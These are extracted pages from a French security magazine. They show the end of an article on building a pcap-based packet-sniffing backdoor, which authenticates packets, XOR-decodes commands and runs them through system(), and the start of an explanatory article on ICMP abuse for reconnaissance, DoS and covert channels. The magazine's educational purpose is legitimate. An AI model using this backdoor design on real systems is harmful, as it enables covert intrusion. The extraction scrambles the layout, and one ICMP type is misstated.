chargée de passer les données d'une manière particulière.
hakin9 Nº 2/2006
41
Pratique
Lorsque pcap _ loop() appelle la fonction de gestion des paquets, elle passe les arguments suivants dans cet ordre vers le gestionnaire : un pointeur défini par le programmeur, un pointeur dirigé vers une structure pcap _ pkthdr (que nous expliquerons plus loin), et un pointeur dirigé vers le paquet lui-même. Ceci permet à la fonction de gestion de paquets de recevoir les paquets, les informations qu'ils contiennent, ainsi que toute autre donnée que le programmeur souhaite obtenir (au moyen du pointeur défini par le programmeur). Dans le Listing 3, le comptage de paquets passé a été fixé à 0. En d'autres termes, pcap _ loop() doit capturer des paquets indéfiniment. La fonction de gestion de paquets doit impérativement être appelée packet _ handler, ce qui signifie que pcap cherchera une fonction avec ce nom afin d'y passer les paquets capturés. Le pointeur défini par le programmeur n'est pas nécessaire dans la mesure où il n'est jamais déréférencé par pcap ; ce pointeur ne sert au programmeur que pour passer des données via pcap _ loop() vers la fonction de gestion. Pour créer cette porte dérobée, et réaliser les objectifs mentionnés dans le présent article, ce pointeur n'est pas utilisé, et est donc passé vers pcap _ loop() avec la valeur NULL.
Gestion des paquets et analyse syntaxique des commandes
La tâche la plus délicate à réaliser lors de la création d'une porte dérobée chargée de renifler des paquets consiste sans conteste à gérer les paquets capturés et à les analyser correctement pour les commandes. Toutefois, dans la mesure où le programmeur sait que pcap va se charger d'analyser les arguments passés dans la fonction de gestion dans un ordre bien spécifique, la rédaction d'un prototype de fonction de gestion s'avère finalement assez simple. Le premier argument passé dans le gestionnaire est le pointeur défini par le programmeur u _ char *user.
42
hakin9 Nº 2/2006
À propos de l'auteur
Brandon Edwards, également connu sous le pseudonyme de drraid, est chercheur en sécurité informatique, et poursuit ses études à Portland, Oregon, Etats-Unis. Il participe fréquemment à des conférences sur la sécurité telles que Defcon, et travaille actuellement dans le secteur de la sécurité. Vous pouvez contacter l'auteur à l'adresse suivante :
[email protected].
Il s'agit du même pointeur, passé auparavant dans pcap _ loop() avec la valeur NULL. Le programmeur sait donc qu'aucune donnée ne sera présente dans cet argument, dans le cadre de cet exemple précis. Le deuxième argument passé dans cette fonction est un pointeur dirigé vers une structure pcap _ pkthdr. Cette structure contient trois éléments : struct timeval ts contenant la durée pendant laquelle le paquet a été capturé, bpf _ u _ int32 caplen contenant un comptage d'octets capturés, et bpf _ u _ int32 len contenant la longueur totale d'octets disponibles pour la capture (peut être plus grande que le nombre d'octets capturés, si elle excède le snaplen). Enfin, le dernier argument passé est un char *packet non signé, dirigé vers les données du paquet. N'oubliez surtout pas que pcap capture le paquet dans son intégralité, y compris ses en-têtes de protocole. Ainsi, le pointeur u _ char *packet est dirigé vers le début du paquet entier (et pas seulement vers son contenu). Afin de n'accéder qu'au contenu du paquet, la longueur des en-têtes de protocole (Ethernet, UDP, IP, etc..) exprimée en octets doit être connue pour pouvoir compenser la valeur du pointeur de paquet passé. Vous trouverez dans le Listing 4 une valeur #define pour les longueurs combinées d'en-têtes Ethernet, IP,
Sur Internet • • • •
et UDP, avec un total de 44 octets décomptés. La fonction exposée dans le Listing 4 est appelée packet _ handler(), puisque c'est le nom le plus normal qui soit (passé dans pcap _ loop() dans le Listing 3). L'objectif de packet _ handler() consiste à assurer que le paquet passé est bien destiné à la porte dérobée, et contient les données attendues de la porte dérobée. Pour ce faire, dans le cadre de notre exemple, il est nécessaire de rédiger une certaine forme de syntaxe de protocole de porte dérobée pour l'authentification et le décryptage du paquet. Comme vous avez pu le constater dans le Listing 4, la première couche relative à l'authentification consiste à comparer les quelques premiers octets du contenu du paquet avec un certain type de clé de protocole. En cas d'absence de clé, le paquet est immédiatement disqualifié pour une éventuelle utilisation de la porte dérobée, ce qui entraîne la fin de la fonction. La présence d'une clé de protocole indique que le paquet est vraisemblablement destiné à la porte dérobée, et que les données doivent faire l'objet d'une authentification plus poussée. Il est en effet plus efficace de contrôler la présence d'une clé de protocole avant de lancer un traitement d'authentification plus poussé.
http://www.icir.org/vern/papers/backdoor – Très bon article sur les concepts de détection des portes dérobées, http://www.tcpdump.org – Page d'accueil de libpcap, excellente source de documentations, http://n0d0z.darktech.org/~drraid – Site personnel de drraid pour poster du code, http://www.rootkit.com – Magazine en ligne sur les rootkits et les portes dérobées.
www.hakin9.org
Création d'une porte dérobée pour le reniflage de paquets
À ce stade, si la fonction de gestion n'a pas été encore retournée, il est probable que le paquet contienne bien des données cryptées. Il est donc judicieux, dans ce cas précis, de tenter de décrypter les données du paquet restant, puis de mener une authentification plus poussée. Dans le cadre de notre exemple, nous n'utiliserons pas de décryptage lourd, mais une méthode appelée cryptage XOR (à l'aide de l'opérateur booléen OU exclusif). Cette forme de cryptage est très simple, grâce à l'opérateur OU exclusif à deux octets de données pour produire un seul octet de données. Autrement dit, cette manœuvre équivaut à prendre un octet issu d'une chaîne de mot de passe, pour l'échanger au moyen de l'opérateur OU exclusif contre un octet issu du tableau de données à coder, afin d'obtenir un octet crypté. Le processus de décryptage est sensiblement le même : il suffit de coder un octet au moyen de l'opérateur OU exclusif pour l'échanger contre l'octet correspondant du mot de passe, afin d'obtenir l'octet original décodé. Comme vous le constaterez dans le Listing 4, nous avons utilisé une boucle for afin d'appliquer l'opérateur OU exclusif sur chaque octet des paquets restants par rapport au mot de passe défini comme PASSWORD. L'opérateur de modulo (%) est utilisé afin de déterminer l'octet de la chaîne de mot de passe correspondant à l'octet référencé dans le contenu du paquet. L'octet décodé ainsi obtenu à partir de chaque cycle de la boucle est stocké dans le tableau appelé decrypt[]. Une fois les données restantes décodées, elles doivent ensuite être vérifiées. La vérification des données décryptées permet de déterminer si elles ont bien été créées à partir d'un état décodé, et donc si elles sont bien destinées à la porte dérobée. Il est très important ici de savoir que, même si le paquet contenait la clé à en-tête de la porte dérobée, il peut s'agir d'un phénomène entièrement aléatoire
et opportun. Plus important encore, le paquet a très bien pu être imité par quelqu'un ayant découvert la présence de la porte dérobée, dans la mesure où la clé à en-tête est facilement détectable (puisque celle-ci est écrite en texte simple). En contrôlant les données ainsi décodées, vous vous assurez non seulement que l'auteur du paquet connaissait la clé à en-tête de la porte dérobée, mais également le mot de passe codé. Afin de simplifier la programmation, le Listing 4 valide le contenu décodé en contrôlant tout simplement 2 chaînes prédéfinies issues des données décodées. Ces chaînes agissent comme un en-tête et un titre courant dans la chaîne de commande à exécuter, et sont définies comme COMMAND _ START et COMMAND _ END. Si l'une de ces chaînes reste introuvable, la paquet est alors considéré comme invalide, ce qui entraîne un retour de la fonction. Dans le cas contraire, si les deux chaînes sont effectivement présentes, les données insérées dans les deux chaînes sont alors extraites et considérées comme étant des commandes. La dernière étape de la vérification consiste alors à éliminer presque toutes les possibilités (99,9 %) d'un hasard truqué ou d'un de la présence d'un paquet créé frauduleusement. La dernière étape pour achever l'objectif de cette porte dérobée consiste à exécuter la chaîne restante en tant que commande. Ceci est réalisé, dans le Listing 4, en appelant system() sur la chaîne restante extraite et décodée. Même si l'appel de system() entraîne l'exécution de la chaîne en tant que commande, notez bien que cette manœuvre n'a aucune incidence sur la gestion des données entrantes et sortantes de la commande exécutée. De même, system() n'est pas très secret ni pratique dans le contexte d'une porte dérobée à distance, et n'est exposé ici qu'à titre d'exemple. Notre exemple de porte dérobée est, comme vous avez pu le constater, très simple. Toutefois, il
www.hakin9.org
illustre à merveille les bases fondamentales d'une expérience pouvant être ensuite étendues de manière fonctionnelle. Notre programme s'inspire en réalité d'une idée déjà mise en pratique par l'auteur sous le nom de SilentDoor, dont vous trouverez une version dans le CD joint à hakin9.live. Nous recommandons fortement à nos lecteurs de tester puis d'étendre à leur tour cette idée. Vos commentaires sont également les bienvenus. Vous pouvez écrire soit directement à l'auteur, soit à l'équipe du magazine.
Conclusion
Les portes dérobées chargées de capturer des paquets sont sournoises et difficiles à prévenir (ou même à détecter, dans la plupart des cas). Heureusement, si vous avez bien lu le présent article, vous comprenez désormais mieux l'objectif d'une porte dérobée chargée de capturer des paquets, et êtes capable d'écrire les prémices de votre propre porte dérobée. Le code fourni dans le présent article n'a d'autre ambition que de servir notre démonstration. Il n'est ni solide ni complet. À l'heure actuelle, le secteur de la sécurité informatique dispose de peu (voire d'aucun) d'outils capables de détecter ce type de porte dérobée. Il existe toutefois plusieurs outils capables de détecter une activité de reniflage sur un système, mais la plupart d'entre eux ne détectent que le reniflage en mode espion (qui ne s'applique pas à une porte dérobée de reniflage très bien implémentée). La possibilité de déterminer l'état d'une capture de paquets sur un système sera la prochaine étape à atteindre en matière de développement anti-porte dérobée. Toutefois, cette technique devrait être considérée comme une menace classique à moins que les outils de détection n'atteignent les compétences évoquées plus haut. l
hakin9 Nº 2/2006
43
Utilisation et abus sur le protocole ICMP Pratique Antonio Merola
Degré de difficulté
L'ICMP (Internet Control Message Protocol) est souvent considéré comme un protocole innocent et sans danger. Toutefois, si un système d'exploitation ou un pare feu vient à le manipuler de manière incorrecte, des pirates peuvent alors l'utiliser à des fins malveillantes.
I
CMP signifie Internet Control Message Protocol (Protocole de Messages de Contrôle Internet). Ce protocole a pour objectif de délivrer des messages relatifs à des conditions d'erreurs non-transitoires. La spécification RFC ainsi que les caractéristiques du protocole ICMP sont décrites dans le RFC 792. Le Tableau 1 contient la liste des documents RFC au sujet du protocole ICMP. Ce protocole ICMP est utilisé, par exemple, lorsqu'un hôte reçoit une requête UDP sur un port placé en non-écoute, ou lorsqu'une fragmentation des datagrammes IP est exigée, alors que le bit DF est activé (voir la partie intitulée Fragmentation des datagrammes IP et protocole ICMP). Ce protocole est chargé de rapporter des conditions d'erreurs et d'interroger le réseau. Alors que le protocole ICMP est encapsulé dans les datagrammes IP, à l'instar des protocoles de transport tels que TCP ou UDP (OSI couche 4), il s'agit d'un protocole de couche réseau (OSI couche 3), comme le protocole IP. L'ICMP fait partie intégrante du protocole IP, et n'a pas recours au schéma client-serveur, ni au nombre de ports ; Il peut être diffusé et n'apporte aucune garantie sur la délivrance d'un message. Les éléments les plus importants de
44
hakin9 Nº 2/2006
ce protocole sont message type et message code pour le type de message spécifié. Ces deux chiffres sont inclus dans les deux premiers octets de l'en-tête du protocole ICMP (voir la Figure 1). Le Tableau 2 permet de définir divers types et codes de protocole ICMP.
Cet article explique... • •
• • •
le fonctionnement détaillé du protocole ICMP et son utilité, l'utilisation du protocole ICMP pour la reconnaissance, les empreintes digitales, les canaux de couverture, les attaques de type DoS et MITM, le type de messages ICMP pouvant être utilisés à des fins malveillantes, comment le protocole ICMP peut perturber les connexions TCP, comment se protéger contre les abus du protocole ICMP.
Ce qu'il faut savoir... • •
www.hakin9.org
le fonctionnement des systèmes d'exploitation *NIX, les bases élémentaires des protocoles TCP/IP.
Abus sur le protocole ICMP
Fragmentation des datagrammes IP et protocole ICMP Les datagrammes IP sont compris dans des trames, la taille d'un datagramme étant restreinte en raison de la limite de chaque moyen de transmission. Cette taille est appelée MTU (Maximum Transmission Unit, ou Unité de Transmission Maximale). Si la taille est plus élevée que cette limite, le datagramme doit alors être fragmenté. Il est possible d'empêcher la fragmentation d'un datagramme IP, en activant le bit DF (Don't Fragment) dans l'en-tête de l'IP. Si un routeur reçoit un paquet de données trop important à transférer, le paquet est tout simplement fragmenté puis transféré. En revanche, si le bit DF est activé, le paquet est alors écarté et un message ICMP de type 3 (destination unreachable, ou destination inatteignable), et de code 4 (fragmentation needed but don't-fragment bit set, ou fragmentation requise mais bit DB activé) est retourné à l'envoyeur, en lui mentionnant qu'il doit réduire la taille de ses paquets pour passer. La MTU du paquet suivant est incluse dans le message ICMP afin d'informer l'emetteur de la taille disponible des paquets.
Requête et réponse par écho avec ICMP
Le mécanisme de requête et de réponse par écho du protocole ICMP est utilisé pour contrôler la présence d'un hôte. L'absence de réponse ne signifie pas automatiquement que l'hôte est arrété. Si, par exemple,
Tableau 1. Documents RFC sur le protocole ICMP Document
Titre
RFC 792
Internet Control Message Protocol
RFC 896
Extinction de la source
RFC 950
Extension de Masques d'Adresses
RFC 1122
Exigences pour les hôtes Internet – Couches de communication
RFC 1191
Découverte du chemin MTU
RFC 1256
Découverte du routeur
RFC 1349
Type de services dans la suite du Protocole Internet
RFC 1812
Exigences pour les routeurs d'IP version 4
Figure 1. Format de messages ICMP un ping est envoyé vers une adresse passerelle VRRP (Virtual Redundancy Routing Protocol – RFC 2338), il peut n'y avoir aucune réponse (selon les paramètres du protocole VRRP), et ce, même si l'adresse a bien pu être atteinte. Toutefois, la table ARP montre une entrée d'adresse MAC débutant par 00-00-5E, associé à l'IP prouvant que le message est passé. Il se peut que la passerelle dispose d'un ACL (Access Control List, ou Liste de Contrôle d'Accès), afin de bloquer le trafic ICMP. Les messages ICMP impliqués sont les suivants :
Outil SING
SING signifie Send ICMP Nasty Garbage (Envoi de déchets encombrants ICMP). Cet outil est chargé d'envoyer des paquets ICMP entièrement personnalisés en ligne de commandes. Nous allons souvent utiliser cet outil dans le cadre du présent article pour notre démonstration. Son principal objectif consiste à remplacer la commande ping. Il peut envoyer et lire des paquets IP malveillants, envoyer des paquets MAC déguisés, des messages contenant différents types et codes ICMP, et des paquets monstres. Il peut également avoir recours à des options IP : Strict Source Routing (Routage de source strict) et Loose Source Routing (Routage de source souple). Cet outil est téléchargeable à partir de l'adresse suivante : http://sourceforge.net/projects/sing. En dépit de sa bonne gestion du protocole ICMP, cet outil n'est plus développé, mais dispose toutefois de fonctionnalités suffisantes permettant de mener à bien des essais dans le cadre du présent article. Vous pouvez bien évidemment utiliser l'outil de votre choix, comme par exemple, nemesis-icmp ou le puissant hping2, puisque le concept reste le même.
www.hakin9.org
•
•
requête par écho (de type 8) issue de la source vers la destination, réponse par écho (de type 0) de la destination vers la source.
Exemple : # ping -c 1 -p \ '20006d617363616c
§
7a6f6e6520000000' \ 10.239.174.180
Il s'agit d'un utilitaire ping inhabituel, puisque nous avons inséré un modèle hexadécimal au moyen de -p, représentant mascalzone en ASCII. Dans un scénario par défaut, l'envoyeur insère des données arbitraires dans le champ des données, puis ces données sont retournées sans modification dans la réponse. Nous avons également paramétré le compteur sur 1, pour n'obtenir qu'un seul paquet au lieu des 4 par défaut. Le commutateur -p est présent sur les machines de type *NIX et sur les Windows XP/ 2000 & 2003. Vous trouverez dans le Listing 1 les données de sortie produites par tcpdump. Remarquez que les entêtes ICMP commencent à l'octet
hakin9 Nº 2/2006
45
Pratique
Listing 1. Requête/réponse par écho vue dans tcpdump # tcpdump -ile1 -nvX icmp 10.239.174.230 > 10.239.174.180: icmp: echo request (id:3f03 seq:0)(ttl 255, id 23258, len 84) 0000: 4500 0054 5ada 0000 ff01 ed55 0aef aee E..TZÚ..ÿ.íU.ï®æ 0010: 0aef aeb4 0800 1102 3f03 0000 435c b07a .ï®´....?...C\°z 0020: 000c 7304 2000 6d61 7363 616c 7a6f 6e65 ..s. .mascalzone 0030: 2000 0000 2000 6d61 7363 616c 7a6f 6e65 ... .mascalzone 0040: 2000 0000 2000 6d61 7363 616c 7a6f 6e65 ... .mascalzone 0050: 2000 .
§
§
10.239.174.180 > 10.239.174.230: icmp: echo reply (id:3f03 seq:0) (ttl 128, id 0000: 4500 0054 d593 0000 8001 f19c 0aef 0010: 0aef aee6 0000 1902 3f03 0000 435c 0020: 000c 7304 2000 6d61 7363 616c 7a6f 0030: 2000 0000 2000 6d61 7363 616c 7a6f 0040: 2000 0000 2000 6d61 7363 616c 7a6f 0050: 2000
54675, len 84) aeb4 E..TÕ.....ñ..ï®´ b07a .ï®æ....?...C\°z 6e65 ..s. .mascalzone 6e65 ... .mascalzone 6e65 ... .mascalzone .
Figure 2. Format de message de requête/réponse par écho du protocole ICMP
numéro 20 à partir de 0, et que l'octet 9 contient 01 (numéro du protocole ICMP). Nous avons exposé dans la Figure 2 le format du message de requête/réponse par écho.
Abus possibles
L'abus le plus répandu du mécanisme de requête/réponse par écho du protocole ICMP est l'attaque de type DoS appelée smurf (consultez l'adresse suivante : http:// www.cert.org/advisories/CA-199801.html). Celle-ci est basée sur la possibilité d'envoyer un ping sur une adresse de diffusion. Ainsi, une énorme quantité de requêtes par échos dirigée vers l'adresse de diffusion est générée avec l'adresse IP usurpée de la victime. L'objectif de cette attaque consiste à congestionner le réseau qui déconnectera la machine de la victime. L'attaque smurf peut être lancée à distance. Il suffit d'envoyer une requête par écho ICMP vers un hôte intermédiaire (amplificateur). Cette requête contient l'adresse source
Tableau 2. Différents types et codes du protocole ICMP
46
Type
Nom
Code
0
Réponse par écho
0 – Aucun code
1
Non-affecté
0 – Aucun code
2
Non-affecté
0 – Aucun code
3
Destination inaccessible
0 – réseau inaccessible 1 – Hôte inaccessible 2 – Protocole inaccessible 3 – Port inaccessible 4 – Fragmentation requise et bit Don't fragment activé 5 – Echec du routage source 6 – Réseau destinataire inconnu 7 – Hôte destinataire inconnu 8 – Hôte de la source isolé 9 – La communication avec le réseau destinataire est interdite par l'administrateur 10 – La communication avec l'hôte destinataire est interdite par l'administrateur 11 – Réseau destinataire inaccessible pour ce type de service 12 – Hôte destinataire inaccessible pour ce type de service 13 – Communication interdite par l'administrateur 14 – Violation de priorité de l'hôte 15 – Priorité isolée effective
4
Extinction de la source
0 – Aucun code
5
Redirigé
0 – Datagramme redirigé vers le réseau (ou le sous-réseau) 1 – Datagramme redirigé vers l'hôte 2 – Datagramme redirigé vers le type de service et de réseau 3 – Datagramme redirigé vers le type de service et d'hôte
hakin9 Nº 2/2006
www.hakin9.org
Abus sur le protocole ICMP
usurpée de la victime ainsi qu'une adresse cible de diffusion. Si l'hôte intermédiaire n'est pas protégé, il enverra le paquet vers l'ensemble des machines du réseau qui répondront à la machine victime de l'attaque. La victime ne peut malheureusement pas se protéger contre ce genre d'attaques, car la protection doit reposer sur le réseau lui-même. Le réseau doit être protégé contre une éventuelle utilisation sous forme d'amplificateur. Il faut donc désactiver l'envoi d'une diffusion dirigée vers l'ensemble des ports routeurs. Ceci empêchera les autres réseaux (par exemple, externes) d'envoyer des requêtes vers des adresses de diffusion contenues dans
le réseau interne. Cette protection est décrite dans le RFC 2644. Une autre couche de protection consiste à configurer toutes les machines du réseau afin d'ignorer les paquets ICMP envoyés vers des adresses de diffusion. Si toutes les machines du réseau sont configurées de telle sorte, aucune ne répondra à une telle requête et la victime ne sera pas inondée de réponses. TFN (pour Tribe Flood Network, consultez l'adresse suivante : http:// staff.washington.edu/dittrich/misc/ tfn.analysis) est un outil malveillant capable d'utiliser le mécanisme de requête/réponse par écho du protocole ICMP. Il s'agit d'un outil d'attaque DDoS, construit sur une
architecture multi-couches (pirate, client, démon, victime), pouvant communiquer des informations grâce aux messages de réponse du protocole ICMP. Cet outil est souvent utilisé car certains outils de contrôle ne vérifient pas les paquets ICMP, laissant ainsi la communication invisible. TFN en pleine action est ainsi difficile à détecter. Les données contenues dans l'en-tête du protocole ICMP peuvent également être utilisées pour convertir la communication par canaux, le projet Loki (http://www.phrack.org/ phrack/49/P49-06) étant un exemple parfait d'une telle implémentation. Afin de détecter une utilisation
Tableau 2. Différents types et codes du protocole ICMP (suite) Type
Nom
Code
6
Autre adresse hôte
0 – Autre adresse hôte pour l'hôte
7
Non-affecté
0 – Aucun code
8
Requête par écho
0 – Aucun code
9
Avertissement routeur
0 – Aucun code
10
Sélection du routeur
0 – Aucun code
11
Temps dépassé
0 – Time to Live dépassé en transit 1 – Temps de rassemblement des fragments dépassé
12
Problème de paramètre
0 – Pointeur indiquant une erreur 1 – Absence d'une option obligatoire 2 – Mauvaise longueur
13
Estampille temporelle
0 – Aucun code
14
Réponse de l'estampille temporelle
0 – Aucun code
15
Demande d'informations
0 – Aucun code
16
Réponse d'informations
0 – Aucun code
17
Requête de masque d'adresse
0 – Aucun code
18
Réponse de masque d'adresse
0 – Aucun code
19
Réservé (à la sécurité)
0 – Aucun code
20–29
Réservé (à un test de robustesse)
0 – Aucun code
30
Utilitaire de routage Traceroute
0 – Aucun code
31
Erreur de conversion de datagramme
0 – Aucun code
32
Hôte mobile redirigé
0 – Aucun code
33
IPv6 Where-Are-You
0 – Aucun code
34
IPv6 I-Am-Here
0 – Aucun code
35
Requête d'inscription mobile
0 – Aucun code
36
Réponse d'inscription mobile
0 – Aucun code
39
SKIP
0 – Aucun code
40
Photuris
0 – Réservé 1 – Indice de paramètre de sécurité inconnu 2 – Paramètre de sécurité valide, mais échec de l'authentification 3 – Paramètre de sécurité valide, mais échec du décryptage
www.hakin9.org
hakin9 Nº 2/2006
47
Pratique
de Loki, il faut pouvoir observer un trafic important de réponses par écho. Le mécanisme de requête/ réponse par écho du protocole ICMP peut également être exploité par un pirate dans le but d'effectuer une simple reconnaissance préalable.
Si une machine répond à une requête ICMP, elle dévoile ainsi son existence. Il est également possible de détecter des empreintes en contrôlant la valeur TTL, puisque les différents systèmes d'exploitation utilisent différentes valeurs TTL par défaut.
Listing 2. Exemple de l'utilitaire de routage Traceroute en action # 1 2 3 4 5 6 7 8 9
traceroute -n www.name.com 192.168.1.1 2.174 ms 3.46 ms 6.734 ms 192.168.100.1 164.449 ms 14.893 ms 9.979 ms HOP_3.7.24 7.847 ms 10.716 ms 10.820 ms HOP_4.211.137 10.535 ms 7.250 ms 12.668 ms HOP_5.98.125 10.477 ms 13.546 ms 15.912 ms HOP_6.211.118 8.978 ms 92.593 ms 14.866 ms HOP_7.5.46 13.452 ms 6.291 ms 13.665 ms HOP_8.8.194 14.94 ms 15.156 ms 21.299 ms DEST.128.8 13.907 ms 18.545 ms 14.308 ms
Listing 3. L'utilitaire de routage Traceroute vu dans tcpdump # tcpdump -ile1 -nn udp or icmp 1. 192.168.1.3.23469 > 192.168.1.1.53:[udp sum ok] 49680+ A?www.name.com. (30) (ttl 64, id 63871, len 58) 192.168.1.1.53 > 192.168.1.3.23469:49680* 1/2/2 www.name.com.A DEST.128.8 (129) (DF) (ttl 64, id 0, len 157) 2. 192.168.1.3.34790 > DEST.128.8.33435: [no cksum] udp 12 [ttl 1] (id 34791, len 40) 192.168.1.1 > 192.168.1.3: icmp: time exceeded in-transit [tos0xc0] (ttl 255, id 14431, len 68) 3. 192.168.1.3.34790 > DEST.128.8.33438: [no cksum] udp 12 (ttl 2, id 34794, len 40) 192.168.100.1 > 192.168.1.3: icmp: time exceeded in-transit [tos 0xc0] (ttl 254, id 40091, len 56) 4. 192.168.1.3.34790 > DEST.128.8.33441: [no cksum] udp 12 (ttl 3, id 34797, len 40) HOP_3.7.24 > 192.168.1.3: icmp: time exceeded in-transit [tos0xc0] (ttl 253, id 63460, len 56) 5. 192.168.1.3.34790 > DEST.128.8.33444: [no cksum] udp 12 (ttl 4, id 34800, len 40) HOP_4.211.137 > 192.168.1.3: icmp: time exceeded in-transit [tos 0xc0] (ttl 246, id 65312, len 168) 6. 192.168.1.3.34790 > DEST.128.8.33447: [no cksum] udp 12 (ttl 5, id 34803, len 40) HOP_5.98.125 > 192.168.1.3: icmp: time exceeded in-transit [tos 0xc0] (ttl 247, id 25777, len 168) 7. 192.168.1.3.34790 > DEST.128.8.33450: [no cksum] udp 12 (ttl 6, id 34806, len 40) HOP_6.211.118 > 192.168.1.3: icmp: time exceeded in-transit (ttl 250, id 53570, len 168) 8. 192.168.1.3.34790 > DEST.128.8.33453: [no cksum] udp 12 (ttl 7, id 34809, len 40) HOP_7.5.46 > 192.168.1.3: icmp: time exceeded in-transit (ttl 248, id 0, len 56) 9. 192.168.1.3.34790 > DEST.128.8.33456: [no cksum] udp 12 (ttl 8, id 34812, len 40) HOP_8.8.194 > 192.168.1.3: icmp: time exceeded in-transit (ttl 248, id 0, len 56) 10. 192.168.1.3.34790 > DEST.128.8.33459: [no cksum] udp 12 (ttl 9, id 34815, len 40) DEST.128.8 > 192.168.1.3: icmp: DEST.128.8 udp port 33459 unreachable (ttl 120, id 37460, len 68)
§
§
§ § § §
§
§
§
§ §
§
48
hakin9 Nº 2/2006
•
§
§
L'utilitaire de routage *NIX fonctionne en envoyant tout d'abord des paquets UDP vers la destination convenue au moyen d'une incrémentation TTL (Time To Live) à partir de 1. Chaque routeur dans le chemin est ainsi requis pour décrémenter le TTL dans un paquet IP d'au moins 1 avant de l'envoyer. Si le paquet n'atteint pas sa destination, un message ICMP de type time exceeded in transit (TTL=0) est alors retourné à la source. Un autre paquet est alors envoyé à partir de la source, avec la valeur TTL=2. Ce processus se répète jusqu'à ce que la destination soit atteinte. Bien sûr cette erreur ne se produit que lorsque tous les noeuds contenus dans le chemin génèrent un ICMP correctement et lorsque les paquets UDP ne sont pas filtrés. Le protocole UDP est utilisé à la place du TCP, parce que le protocole UDP enclenche un message ICMP lorsqu'un port n'écoute pas, alors que le protocole TCP renvoie le paquet avec RST/ACK. Les messages ICMP impliqués dans ce processus sont les suivants : •
§
§
Temps ICMP excédé en transit et port UDP inatteignable (utilitaire de routage traceroute)
§
§
§
§
www.hakin9.org
type 11 code 0, lorsque la destination n'est pas atteinte, de la destination vers la source, type 3 code 3, lorsque la destination est atteinte, de la destination vers la source.
Veuillez consulter le Listing 2 pour un exemple de ce processus et le Listing 3 pour les données de sortie de tcpdump. Tentons de comprendre ce qui se passe dans cette trace. Tout d'abord, il est intéressant de remarquer que les données de sortie de tcpdump ne sont pas complètes. En effet, 2 paquets ont été coupés à chaque ligne pour une meilleure lecture. L'hôte 192.168.1.3 émet une requête DNS (sur un routeur) et le nom a été résolu (au moyen d'un cache d'ISP). DEST.128.8 représentait l'hôte
Abus sur le protocole ICMP
à atteindre. L'hôte source a ensuite généré un paquet UDP avec la valeur TTL=1. La passerelle a décrémenté la valeur TTL de 1 à 0, l'a abandonnée puis a envoyé un message ICMP de type time exceeded in transit. En 3, un autre paquet UDP avec une valeur TTL=2 a été généré par la source, et la, le point final de la passerelle ISP a envoyé un message ICMP de type time exceeded in transit. Cette itération se retrouve en 4 jusqu'à 9, chaque passerelle envoyant un paquet ICMP, jusqu'à 10, moment à partir duquel un paquet contenant la valeur TTL=9 a enfin atteint l'hôte destinataire. L'hôte a ensuite renvoyé un message ICMP de type UDP port unreachable.
Abus possibles
Ce mécanisme est assez fiable, mais est apparemment utilisé pour une reconnaissance. Si l'hôte destinataire renvoie un message de type UDP port unreachable, il dévoile également son existence. Des essais d'empreintes peuvent également être réalisés sur la base des valeurs TTL.
Listing 4. Envoi d'une requête d'estampille temporelle au moyen de l'outil SING # sing -c 1 -tstamp 10.239.174.180 SINGing to 10.239.174.180 (10.239.174.180): 20 data bytes 10240 bytes from 10.239.174.180: seq=0 ttl=128 TOS=0 diff=800917246* --- 10.239.174.180 sing statistics --1 packets transmitted, 1 packets received, 0% packet loss
Listing 5. Mécanisme de requête/réponse d'estampille temporelle vu dans tcpdump # tcpdump -ile1 -nvX icmp 10.239.174.230 > 10.239.174.180: icmp: time stamp request (ttl 255, id 13170, len 40) 0000: 4500 0028 3372 0000 ff01 14ea 0aef aee6 E..(3r..ÿ..ê.ï®æ 0010: 0aef aeb4 0d00 b64a eb6c 0000 0244 4f04 .ï®´..¶Jël...DO. 0020: 0000 0000 0000 0000 ........
§
§
10.239.174.180 > 10.239.174.230: icmp: time stamp reply (ttl 128, id 4727, len 40) 0000: 4500 0028 1277 0000 8001 b4e5 0aef aeb4 E..(.w....´å.ï®´ 0010: 0aef aee6 0e00 a542 eb6c 0000 0244 4f04 .ï®æ..¥Bël...DO. 0020: b201 5602 b201 5602 0000 0000 0000 ².V.².V.......
Requête/réponse d'estampille temporelle du protocole ICMP Les paquets ICMP de type time stamp request/reply sont utilisés pour mesurer le temps d'attente du réseau, en gérant la durée de rotation des paquets. Les messages ICMP impliqués dans ce processus sont les suivants : •
•
requête d'estampille temporelle de type 3, de la source vers la destination, afin de paramétrer l'estampille temporelle originelle, réponse d'estampille temporelle (type 14), de la destination vers la source, comprenant l'estampille temporelle originelle (temps source), l'estampille temporelle de réception (temps de destination) et l'estampille temporelle de transmission de la réponse (temps de destination).
Veuillez consulter le Listing 4 pour un exemple de ce processus, la Figure 3
Figure 3. Format d'un message de requête/réponse d'estampille temporelle du protocole ICMP Listing 6. Message de type destination ICMP inaccessible vu par tcpdump # tcpdump –nnx –i le1 icmp 10.173.217.2 > 10.173.217.50: icmp: host 10.173.217.1 unreachable [tos 0xc0] 45c0 0038 0000 0000 1e01 d476 0aad d902 0aad d932 0301 fcfe 0000 0000 4500 0020 3372 0000 ff01 c0dc 0aad d932 0aad d901 1100 478d 5972 4e00
§
§
192.168.100.1 > 192.168.1.4: icmp: net 10.173.120.29 unreachable 4500 0038 a10e 0000 fe01 3560 c0a8 6401 c0a8 0104 0300 ab3a 0000 0000 4500 0030 a10e 4000 7f06 1643 c0a8 0104 0aad 781d 0674 2516 3264 f3d6
pour le format du message, et le Listing 5 pour les données de sortie de tcpdump.
www.hakin9.org
Abus possibles
La réponse d'estampille temporelle permet une reconnaissance plus
hakin9 Nº 2/2006
49
Pratique
approfondie, du moins aux utilisateurs externes du réseau local, des caractéristiques de performance de ce réseau en question. C'est la raison pour laquelle le document RFC 1122 précise bien que les messages ICMP de type time stamp request et les requêtes de type time stamp reply sont complètement optionnels. En effet, ces observations peuvent vraisemblablement servir à une reconnaissance ou à la détection d'empreintes, basées sur les valeurs TTL.
Figure 4. Format du message de type ICMP redirect
Destination ICMP inaccessible Ce message est utilisé par un routeur ou un pare feu afin d'informer l'expéditeur d'hôtes ou de réseaux destinataires inaccessible. Il est possible que l'hôte en question n'existe pas, ou alors que l'hôte soit temporairement arreté. Les messages ICMP impliqués dans ce processus sont les suivants : • • •
réseau inaccessible (type 3 code 0), du routeur vers l'hôte, hôte inaccessible (type 3 code 1), du routeur vers l'hôte, protocole inaccessible (type 3 code 2), du routeur vers l'hôte.
déclenchant un message de type ICMP redirect doit se trouver sur le même sous-réseau que la source et que celui de la nouvelle passerelle. Le message ICMP impliqué dans ce processus est le suivant : •
type 5 code 1, du routeur vers l'hôte.
